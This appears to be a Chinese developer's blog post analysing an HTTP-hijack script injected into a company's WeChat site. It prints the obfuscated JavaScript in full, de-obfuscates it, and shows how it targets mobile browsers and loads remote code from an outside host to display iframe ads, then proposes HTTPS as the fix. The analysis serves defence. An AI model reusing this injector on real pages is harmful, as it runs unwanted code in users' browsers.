记一次网络劫持事件

一天晚上,用家里的wifi打开公司做的微信公众号网站,突然发现广告链接,明明不是自己添加,但是就是出现了,我决定要找到原因。

之后发现有的人出现了广告,有的人没有广告。广告还各种不同的变化。

我知道是网络或者路由器的问题了,劫持了我们网站,添加了一些脚本进去了。可恨可恨。

通过查看源代码,发现了https://cool.oeebee.com/inf/jquery.min2.js这个脚本不是我添加的

下面是这个js内容

(function(c,g){g[c()](function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([m-zA-Z]|1\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('u __encode="sojson.com",T=["\\x5F\\A\\n\\s\\w\\A\\n","\\t\\o\\o\\x\\x3A\\L\\L\\D\\D\\D\\I\\q\\w\\G\\q\\w\\v\\I\\s\\w\\B\\L\\G\\r\\J\\r\\q\\s\\p\\y\\x\\o\\w\\U\\M\\N\\q\\s\\r\\o\\w\\p\\I\\t\\o\\B\\z"];(C(a){a[T[0]]=T[1]})(Y);u m=["\\t\\n\\r\\A","\\E\\n\\o\\V\\z\\n\\B\\n\\v\\o\\q\\Z\\O\\x54\\r\\E\\x4E\\r\\B\\n","\\r\\x\\x\\n\\v\\A\\P\\t\\y\\z\\A","\\p\\n\\B\\w\\J\\n\\P\\t\\y\\z\\A","\\s\\p\\n\\r\\o\\n\\V\\z\\n\\B\\n\\v\\o","","\\z\\n\\v\\E\\o\\t","\\M\\z\\w\\w\\p","\\q\\N\\U\\q\\o\\p","\\G\\w\\y\\v","\\p\\n\\J\\n\\p\\q\\n","\\q\\x\\z\\y\\o","\\D\\D\\D","\\p\\n\\x\\z\\r\\s\\n","\\t\\o\\o\\x","\\I","\\q\\s\\p\\y\\x\\o","\\o\\O\\x\\n","\\o\\n\\Q\\o\\L\\G\\r\\J\\r\\q\\s\\p\\y\\x\\o","\\r\\q\\O\\v\\s","\\q\\p\\s","\\x30\\1a\\K\\H\\x34\\x35\\x36\\x37\\x38\\1b\\1c\\D\\n\\p\\o\\O\\N\\y\\w\\x\\z\\1d\\G\\t\\E\\M\\A\\q\\r\\x7A\\Q\\s\\J\\U\\v\\B","\\p\\r\\v\\A\\w\\B","\\s\\t\\r\\p\\W\\o","\\N\\q\\n\\p\\W\\E\\n\\v\\o","\\D\\y\\A\\o\\t","\\q\\s\\p\\n\\n\\v","\\t\\n\\y\\E\\t\\o","\\B\\r\\o\\s\\t","\\F\\K\\R\\H\\t\\1a\\n\\x52\\p\\F\\K\\z\\R\\o\\n\\1b\\v\\F\\H\\Z\\P\\s\\q\\v\\Q\\G\\t\\x4D\\o\\F\\H\\1e\\P\\v\\1d\\x4F\\F\\K\\R\\1e\\F\\K\\R\\1c\\F\\H\\W\\Q\\F\\H\\V\\E","\\I\\E\\y\\M"];(C(c,b){C a(i){try{u h=b[m[1]](m[0])[0];u k=h[m[2]](d(i));1f(C(){h[m[3]](k)},2000)}catch(j){}}C g(h){S b[m[4]](h)}C e(h){u l=m[5];u k=X[m[7]](h[m[6]]/4);u j=h[m[6]]-4*k;1g(u i=0;i<k;i++){l+=h[m[8]](4*i,3)}if(j>0){l+=h[m[8]](4*k)}l=decodeURIComponent(l);l=l[m[11]](m[5])[m[10]]()[m[9]](m[5]);l=l[m[13]](/["]/g,m[12]);l=l[m[13]](/[>]/g,m[14]);l=l[m[13]](/[<]/g,m[15]);S l}C d(h){u i=g(m[16]);i[m[17]]=m[18];i[m[19]]=true;i[m[20]]=h;S i}C f(l){u h=m[21];u k=m[5];1g(u j=0;j<l;j++){u i=X[m[7]](X[m[22]]()*h[m[6]]);k+=h[m[23]](i)}S k}1f(C(){u h=navigator[m[24]];if(top==this&&c[m[26]][m[25]]<c[m[26]][m[27]]&&h[m[28]](/(Android|Mobile)/i)){a(e(m[29])+f(5)+m[30])}},1000)})(Y,document);',[],79,'||||||||||||||||||||||__Ox1fb85|x65|x74|x72|x73|x61|x63|x68|var|x6E|x6F|x70|x69|x6C|x64|x6D|function|x77|x67|x25|x6A|x33|x2E|x76|x32|x2F|x66|x75|x79|x43|x78|x46|return|_0xb483|x62|x45|x41|Math|window|x42|||||||||||x31|x39|x71|x6B|x48|setTimeout|for'.split('|'),0,{}))})(function(){return (2*7).toString(4<<2)+'v'+0xf1.toString(11<<1)},window);

一群乱码似的东西,开始查资料,ggencode,jjencode,发现都不是

(2*7).toString(4<<2)+'v'+0xf1.toString(11<<1) 执行完之后为 eval,传入一个自执行函数,有2个参数 eval和window,想到eval我就知道了点什么

解析代码第一遍

(function(p, a, c, k, e, r) {
  e = function(c) {
    return (
      (c < 62 ? "" : e(parseInt(c / 62))) +
      ((c = c % 62) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
    );
  };
    while (c--) r[e(c)] = k[c];
    k = [
      function(e) {
        return r[e] || e;
      }
    ];
    e = function() {
      return "([m-zA-Z]|1\\w)";
    };
    c = 1;
  while (c--)
    if (k[c]) p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
  return p;
})(
  'u __encode="sojson.com",T=["\\x5F\\A\\n\\s\\w\\A\\n","\\t\\o\\o\\x\\x3A\\L\\L\\D\\D\\D\\I\\q\\w\\G\\q\\w\\v\\I\\s\\w\\B\\L\\G\\r\\J\\r\\q\\s\\p\\y\\x\\o\\w\\U\\M\\N\\q\\s\\r\\o\\w\\p\\I\\t\\o\\B\\z"];(C(a){a[T[0]]=T[1]})(Y);u m=["\\t\\n\\r\\A","\\E\\n\\o\\V\\z\\n\\B\\n\\v\\o\\q\\Z\\O\\x54\\r\\E\\x4E\\r\\B\\n","\\r\\x\\x\\n\\v\\A\\P\\t\\y\\z\\A","\\p\\n\\B\\w\\J\\n\\P\\t\\y\\z\\A","\\s\\p\\n\\r\\o\\n\\V\\z\\n\\B\\n\\v\\o","","\\z\\n\\v\\E\\o\\t","\\M\\z\\w\\w\\p","\\q\\N\\U\\q\\o\\p","\\G\\w\\y\\v","\\p\\n\\J\\n\\p\\q\\n","\\q\\x\\z\\y\\o","\\D\\D\\D","\\p\\n\\x\\z\\r\\s\\n","\\t\\o\\o\\x","\\I","\\q\\s\\p\\y\\x\\o","\\o\\O\\x\\n","\\o\\n\\Q\\o\\L\\G\\r\\J\\r\\q\\s\\p\\y\\x\\o","\\r\\q\\O\\v\\s","\\q\\p\\s","\\x30\\1a\\K\\H\\x34\\x35\\x36\\x37\\x38\\1b\\1c\\D\\n\\p\\o\\O\\N\\y\\w\\x\\z\\1d\\G\\t\\E\\M\\A\\q\\r\\x7A\\Q\\s\\J\\U\\v\\B","\\p\\r\\v\\A\\w\\B","\\s\\t\\r\\p\\W\\o","\\N\\q\\n\\p\\W\\E\\n\\v\\o","\\D\\y\\A\\o\\t","\\q\\s\\p\\n\\n\\v","\\t\\n\\y\\E\\t\\o","\\B\\r\\o\\s\\t","\\F\\K\\R\\H\\t\\1a\\n\\x52\\p\\F\\K\\z\\R\\o\\n\\1b\\v\\F\\H\\Z\\P\\s\\q\\v\\Q\\G\\t\\x4D\\o\\F\\H\\1e\\P\\v\\1d\\x4F\\F\\K\\R\\1e\\F\\K\\R\\1c\\F\\H\\W\\Q\\F\\H\\V\\E","\\I\\E\\y\\M"];(C(c,b){C a(i){try{u h=b[m[1]](m[0])[0];u k=h[m[2]](d(i));1f(C(){h[m[3]](k)},2000)}catch(j){}}C g(h){S b[m[4]](h)}C e(h){u l=m[5];u k=X[m[7]](h[m[6]]/4);u j=h[m[6]]-4*k;1g(u i=0;i<k;i++){l+=h[m[8]](4*i,3)}if(j>0){l+=h[m[8]](4*k)}l=decodeURIComponent(l);l=l[m[11]](m[5])[m[10]]()[m[9]](m[5]);l=l[m[13]](/["]/g,m[12]);l=l[m[13]](/[>]/g,m[14]);l=l[m[13]](/[<]/g,m[15]);S l}C d(h){u i=g(m[16]);i[m[17]]=m[18];i[m[19]]=true;i[m[20]]=h;S i}C f(l){u h=m[21];u k=m[5];1g(u j=0;j<l;j++){u i=X[m[7]](X[m[22]]()*h[m[6]]);k+=h[m[23]](i)}S k}1f(C(){u h=navigator[m[24]];if(top==this&&c[m[26]][m[25]]<c[m[26]][m[27]]&&h[m[28]](/(Android|Mobile)/i)){a(e(m[29])+f(5)+m[30])}},1000)})(Y,document);',
  [],
  79,
  ["", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "__Ox1fb85", "x65", "x74", "x72", "x73", "x61", "x63", "x68", "var", "x6E", "x6F", "x70", "x69", "x6C", "x64", "x6D", "function", "x77", "x67", "x25", "x6A", "x33", "x2E", "x76", "x32", "x2F", "x66", "x75", "x79", "x43", "x78", "x46", "return", "_0xb483", "x62", "x45", "x41", "Math", "window", "x42", "", "", "", "", "", "", "", "", "", "", "x31", "x39", "x71", "x6B", "x48", "setTimeout", "for"],
  0,
  {}
)

传入p、a、c、k、e、r,5个参数,返回一个字符串

var __encode = "sojson.com",
_0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
window._decode = "http://www.sojson.com/javascriptobfuscator.html"
var __Ox1fb85 = ["head", "getElementsByTagName", "appendChild", "removeChild", "createElement", "", "length", "floor", "substr", "join", "reverse", "split", "www", "replace", "http", ".", "script", "type", "text/javascript", "async", "src", "0123456789qwertyuioplkjhgfdsazxcvbnm", "random", "charAt", "userAgent", "width", "screen", "height", "match", "%2F3h1eRr%2lFte9n%3BCcsnxjhMt%3HCnkO%2FH%2Fq%3Ax%3Eg", ".gif"];
(function(c, b) {
function a(i) {
  try {
    var h = b[__Ox1fb85[1]](__Ox1fb85[0])[0];
    var k = h[__Ox1fb85[2]](d(i));
    setTimeout(function() {
      h[__Ox1fb85[3]](k);
    }, 2000);
  } catch (j) {}
}
function g(h) {
  return b[__Ox1fb85[4]](h);
}
function e(h) {
  var l = __Ox1fb85[5];
  var k = Math[__Ox1fb85[7]](h[__Ox1fb85[6]] / 4);
  var j = h[__Ox1fb85[6]] - 4 * k;
  for (var i = 0; i < k; i++) {
    l += h[__Ox1fb85[8]](4 * i, 3);
  }
  if (j > 0) {
    l += h[__Ox1fb85[8]](4 * k);
  }
  l = decodeURIComponent(l);
  l = l[__Ox1fb85[11]](__Ox1fb85[5])
    [__Ox1fb85[10]]()
    [__Ox1fb85[9]](__Ox1fb85[5]);
  l = l[__Ox1fb85[13]](/["]/g, __Ox1fb85[12]);
  l = l[__Ox1fb85[13]](/[>]/g, __Ox1fb85[14]);
  l = l[__Ox1fb85[13]](/[<]/g, __Ox1fb85[15]);
  return l;
}
function d(h) {
  var i = g(__Ox1fb85[16]);
  i[__Ox1fb85[17]] = __Ox1fb85[18];
  i[__Ox1fb85[19]] = true;
  i[__Ox1fb85[20]] = h;
  return i;
}
function f(l) {
  var h = __Ox1fb85[21];
  var k = __Ox1fb85[5];
  for (var j = 0; j < l; j++) {
    var i = Math[__Ox1fb85[7]](Math[__Ox1fb85[22]]() * h[__Ox1fb85[6]]);
    k += h[__Ox1fb85[23]](i);
  }
  return k;
}
setTimeout(function() {
  var h = navigator[__Ox1fb85[24]];
  if (
    top == this &&
    c[__Ox1fb85[26]][__Ox1fb85[25]] < c[__Ox1fb85[26]][__Ox1fb85[27]] &&
    h[__Ox1fb85[28]](/(Android|Mobile)/i)
  ) {
    a(e(__Ox1fb85[29]) + f(5) + __Ox1fb85[30]);
  }
}, 1000);
})(window, document);

之后就是对__Ox1fb85 这个31位的数组进行各种操作

setTimeout(function() {
  var h = navigator[__Ox1fb85[24]];
  if (
    top == this &&
    c[__Ox1fb85[26]][__Ox1fb85[25]] < c[__Ox1fb85[26]][__Ox1fb85[27]] &&
    h[__Ox1fb85[28]](/(Android|Mobile)/i)
  ) {
    a(e(__Ox1fb85[29]) + f(5) + __Ox1fb85[30]);
  }
}, 1000);

过一秒执行一些操作,翻译成

var h = navigator.userAgent;
if (
window.top === window &&
屏幕的宽度 < 屏幕的高度 &&
navigator.userAgent.match(/(Android|Mobile)/i) // 是不是手机
) {
    a('http://kn.thjxsc.net/re1h/13x3k.gif') // 执行一个get请求一个gif
}

这个gif可不是图片,是个接口,返回js代码,执行a方法,a方法是在页面html中添加script标签执行js,过2秒后删除js

之后页面中会添加一个iframe的广告

http劫持截图

关键不是这个http劫持了网站html,他把后台的php接口也给劫持了,最后都加了script链接,导致接口json格式变成混乱的格式。

接口劫持截图

解决方案:

1、前端重写eval函数,后台php用post请求,希望劫持的人底线不是那么低连post请求都劫持。

2、治本之法,换https请求,在传输过程是加密传输,在网络层抓到的都是密文。明文不安全,比如用iframe包裹的广告方式。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,734评论 6 505
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,931评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,133评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,532评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,585评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,462评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,262评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,153评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,587评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,792评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,919评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,635评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,237评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,855评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,983评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,048评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,864评论 2 354

推荐阅读更多精彩内容